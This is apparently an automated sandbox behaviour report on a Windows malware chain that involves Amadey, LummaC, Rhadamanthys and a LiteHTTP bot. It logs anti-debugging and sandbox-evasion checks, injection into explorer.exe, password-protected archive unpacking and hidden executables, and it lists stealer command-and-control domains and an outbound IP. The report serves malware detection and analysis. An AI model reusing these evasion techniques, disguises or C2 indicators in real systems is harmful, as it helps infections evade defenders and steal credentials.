Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 34766
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 34643
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 34518
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 34393
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 34268
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 34143
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 34018
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 33893
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 33768
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 33643

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\extracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmp, 2ab65296fe.exe, 2ab65296fe.exe, 00000007.00000002.2817176898.000000000029F000.00000040.00000001.01000000.0000000A.sdmp, c1be3b2878.exe, 0000000C.00000002.2995793749.00000000010F6000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW1
Source: svchost.exe, 00000008.00000003.2794892973.0000000005640000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: DisableGuestVmNetworkConnectivity
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2929840021.0000000000973000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2929663473.0000000000972000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.0000000000972000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000002.2994959784.000000000092A000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.0000000000973000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000002.2995347996.0000000000974000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: svchost.exe, 00000008.00000003.2794892973.0000000005640000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: EnableGuestVmNetworkConnectivity
Source: file.exe, 00000000.00000002.2090762693.0000000000ADD000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2114023369.000000000037D000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000003.00000002.2116177741.000000000037D000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmp, 2ab65296fe.exe, 00000007.00000002.2817176898.000000000029F000.00000040.00000001.01000000.0000000A.sdmp, c1be3b2878.exe, 0000000C.00000002.2995793749.00000000010F6000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_050109D1 Start: 050109F1 End: 050109E0

0_2_050109D1

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\explorer.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05010CBD rdtsc

0_2_05010CBD

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0092652B mov eax, dword ptr fs:[00000030h]	0_2_0092652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0092A302 mov eax, dword ptr fs:[00000030h]	0_2_0092A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001CA302 mov eax, dword ptr fs:[00000030h]	2_2_001CA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001C652B mov eax, dword ptr fs:[00000030h]	2_2_001C652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_001CA302 mov eax, dword ptr fs:[00000030h]	3_2_001CA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_001C652B mov eax, dword ptr fs:[00000030h]	3_2_001C652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001CA302 mov eax, dword ptr fs:[00000030h]	6_2_001CA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001C652B mov eax, dword ptr fs:[00000030h]	6_2_001C652B
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Code function: 7_3_000C9277 mov eax, dword ptr fs:[00000030h]	7_3_000C9277

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1708 base: 140000000 value: 4D
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1708 base: 140001000 value: 40
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1708 base: 1402DD000 value: 58
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1708 base: 14040B000 value: A4
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1708 base: 140739000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1708 base: 14075E000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1708 base: 14075F000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1708 base: 140762000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1708 base: 140764000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1708 base: 140765000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1708 base: E97010 value: 00

LummaC encrypted strings found

Source: c1be3b2878.exe, 0000000C.00000002.2995700888.0000000000F21000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: debonairnukk.xyz
Source: c1be3b2878.exe, 0000000C.00000002.2995700888.0000000000F21000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: diffuculttan.xyz
Source: c1be3b2878.exe, 0000000C.00000002.2995700888.0000000000F21000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: effecterectz.xyz
Source: c1be3b2878.exe, 0000000C.00000002.2995700888.0000000000F21000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: deafeninggeh.biz
Source: c1be3b2878.exe, 0000000C.00000002.2995700888.0000000000F21000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: immureprech.biz

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Thread register set: target process: 1708

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe "C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe "C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe "C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe "C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe "C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016543001\c7d5db0fd9.exe "C:\Users\user\AppData\Local\Temp\1016543001\c7d5db0fd9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1

Source: file.exe, 00000000.00000002.2092857976.0000000000B24000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2114320306.00000000003C4000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000003.00000002.2116683388.00000000003C4000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: SProgram Manager
Source: 2ab65296fe.exe, 00000007.00000002.2817176898.000000000029F000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: o{g_Program Manager
Source: c1be3b2878.exe, 0000000C.00000002.2995793749.00000000010F6000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: RProgram Manager
Source: 2ab65296fe.exe, 2ab65296fe.exe, 00000007.00000002.2817176898.000000000029F000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: {g_Program Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_001ADD91 cpuid

6_2_001ADD91

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016543001\c7d5db0fd9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016543001\c7d5db0fd9.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0090CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_0090CBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_001D2517 GetTimeZoneInformation,

6_2_001D2517

Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: svchost.exe, 00000008.00000002.2803648056.0000000003500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OllyDbg.exe
Source: svchost.exe, 00000008.00000002.2803648056.0000000003500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: regmon.exe

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 3.2.skotes.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.8f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2113569282.0000000000191000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2115721499.0000000000191000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2089806976.00000000008F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2049245941.0000000004E00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2644702962.00000000048D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2075453334.0000000004F20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2073173169.0000000005120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected LiteHTTP Bot

Source: Yara match	File source: 40.2.716b31b09e.exe.940000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000028.00000002.3290433363.0000000000942000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000003.3078223263.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 00000007.00000003.2788559394.0000000004830000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2792751943.0000000003710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2792857392.0000000004A60000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2803801839.0000000003720000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.5:49959 -> 104.154.220.71:80

Remote Access Functionality

Yara detected LiteHTTP Bot

Source: Yara match	File source: 40.2.716b31b09e.exe.940000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000028.00000002.3290433363.0000000000942000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000003.3078223263.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 00000007.00000003.2788559394.0000000004830000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2792751943.0000000003710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2792857392.0000000004A60000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2803801839.0000000003720000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001BEC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		6_2_001BEC48
